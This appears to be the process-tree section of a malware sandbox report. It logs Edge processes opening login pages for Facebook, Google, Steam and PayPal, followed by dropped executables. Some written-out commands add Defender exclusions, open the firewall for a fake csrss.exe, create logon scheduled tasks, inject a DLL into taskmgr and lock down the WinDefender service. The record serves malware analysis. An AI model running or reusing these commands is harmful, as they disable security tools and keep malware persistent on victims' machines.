C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6400 /prefetch:1
6⤵
PID:6092

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7236 /prefetch:1
6⤵
PID:2736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7256 /prefetch:1
6⤵
PID:1656

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7560 /prefetch:8
6⤵
PID:5180

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7560 /prefetch:8
6⤵
PID:2036

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7676 /prefetch:1
6⤵
PID:6340

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7416 /prefetch:1
6⤵
PID:3536

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8016 /prefetch:1
6⤵
PID:968

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7920 /prefetch:1
6⤵
PID:5932

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
5⤵
- Suspicious use of WriteProcessMemory
PID:3392

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:848

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,8484343816895365368,10152296220550909080,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:5172

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,8484343816895365368,10152296220550909080,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2
6⤵
PID:5152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
5⤵
- Suspicious use of WriteProcessMemory
PID:5020

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x178,0x17c,0x180,0x154,0x184,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:560

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2076,14298671652034061601,12776315865832860919,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:5124

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2076,14298671652034061601,12776315865832860919,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2
6⤵
PID:4380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login
5⤵
- Suspicious use of WriteProcessMemory
PID:5040

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:1308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,1451795922364187747,9039338791880395993,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:3
6⤵
PID:4252

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login
5⤵
- Suspicious use of WriteProcessMemory
PID:3672

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x160,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:1248

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,6838619085458851276,17443329092441299090,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:3
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:6116

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform
5⤵
PID:3904

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:3624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,3330793389537021540,3656106141960355739,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:3
6⤵
PID:6240

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login
5⤵
PID:4428

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:4584

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,14979508808050824153,13758638371523552871,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 /prefetch:3
6⤵
PID:6924

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin
5⤵
PID:5144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:5292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
5⤵
PID:6164

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:6248

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
5⤵
PID:6736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:6932

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5UT0qf8.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5UT0qf8.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6320

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
4⤵
PID:6172

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
4⤵
PID:6472

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
4⤵
- Checks SCSI registry key(s)
PID:5848

C:\Users\Admin\AppData\Local\Temp\B17.exe
C:\Users\Admin\AppData\Local\Temp\B17.exe
2⤵
PID:6616

C:\Users\Admin\AppData\Local\Temp\DF6.exe
C:\Users\Admin\AppData\Local\Temp\DF6.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5420

C:\Users\Admin\AppData\Local\Temp\DF6.exe
C:\Users\Admin\AppData\Local\Temp\DF6.exe
3⤵
PID:3768

C:\Users\Admin\AppData\Local\Temp\4534.exe
C:\Users\Admin\AppData\Local\Temp\4534.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:7084

C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"
3⤵
- Executes dropped EXE
PID:7152

C:\Users\Admin\AppData\Local\Temp\Broom.exe
C:\Users\Admin\AppData\Local\Temp\Broom.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3368

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6340

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3736

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
3⤵
PID:4756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:2928

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
4⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- Modifies data under HKEY_USERS
PID:6240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6668

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
5⤵
PID:4304

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
6⤵
- Modifies Windows Firewall
PID:4864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:6616

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
- Executes dropped EXE
PID:3768

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
5⤵
PID:6816

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
PID:6708

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
6⤵
- Creates scheduled task(s)
PID:1656

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
6⤵
PID:928

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
PID:5168

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
PID:6712

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
6⤵
PID:3300

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
6⤵
- Creates scheduled task(s)
PID:5988

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
6⤵
PID:4152

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
7⤵
PID:6636

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
8⤵
- Launches sc.exe
PID:4272

C:\Users\Admin\AppData\Local\Temp\tuc3.exe
"C:\Users\Admin\AppData\Local\Temp\tuc3.exe"
3⤵
- Executes dropped EXE
PID:4228

C:\Users\Admin\AppData\Local\Temp\is-OPJ9A.tmp\tuc3.tmp
"C:\Users\Admin\AppData\Local\Temp\is-OPJ9A.tmp\tuc3.tmp" /SL5="$601F4,3243561,76288,C:\Users\Admin\AppData\Local\Temp\tuc3.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:1080

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Query
5⤵
PID:2948

C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe
"C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe" -i
5⤵
- Executes dropped EXE
PID:5552

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" helpmsg 28
5⤵
PID:4240

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 helpmsg 28
6⤵
PID:5300

C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe
"C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe" -s
5⤵
- Executes dropped EXE
PID:1360

C:\Users\Admin\AppData\Local\Temp\latestX.exe
"C:\Users\Admin\AppData\Local\Temp\latestX.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:1812

C:\Users\Admin\AppData\Local\Temp\4DD0.exe
C:\Users\Admin\AppData\Local\Temp\4DD0.exe
2⤵
- Executes dropped EXE
PID:3012

C:\Users\Admin\AppData\Local\Temp\is-LU88E.tmp\4DD0.tmp
"C:\Users\Admin\AppData\Local\Temp\is-LU88E.tmp\4DD0.tmp" /SL5="$302C2,2673906,76288,C:\Users\Admin\AppData\Local\Temp\4DD0.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:6552

C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe
"C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe" -i
4⤵
PID:3572

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Query
4⤵
PID:2360

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" helpmsg 29
4⤵
PID:7108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 helpmsg 29
5⤵
PID:2484

C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe
"C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe" -s
4⤵
- Executes dropped EXE
PID:6612

C:\Users\Admin\AppData\Local\Temp\4F29.exe
C:\Users\Admin\AppData\Local\Temp\4F29.exe
2⤵
- Executes dropped EXE
PID:5988

C:\Users\Admin\AppData\Local\Temp\513D.exe
C:\Users\Admin\AppData\Local\Temp\513D.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4272

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\513D.exe"
3⤵
PID:3300

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wabzaZXb.exe"
3⤵
PID:1552

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wabzaZXb" /XML "C:\Users\Admin\AppData\Local\Temp\tmpCE38.tmp"
3⤵
- Creates scheduled task(s)
PID:6116

C:\Users\Admin\AppData\Local\Temp\513D.exe
"C:\Users\Admin\AppData\Local\Temp\513D.exe"
3⤵
- Executes dropped EXE
PID:1672

C:\Users\Admin\AppData\Local\Temp\539F.exe
C:\Users\Admin\AppData\Local\Temp\539F.exe
2⤵
PID:4580

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
3⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1792

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
4⤵
PID:4688

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2888 /prefetch:1
4⤵
PID:4948

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,16081997046469968322,11941904942792568761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2864 /prefetch:1
4⤵
PID:5708

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
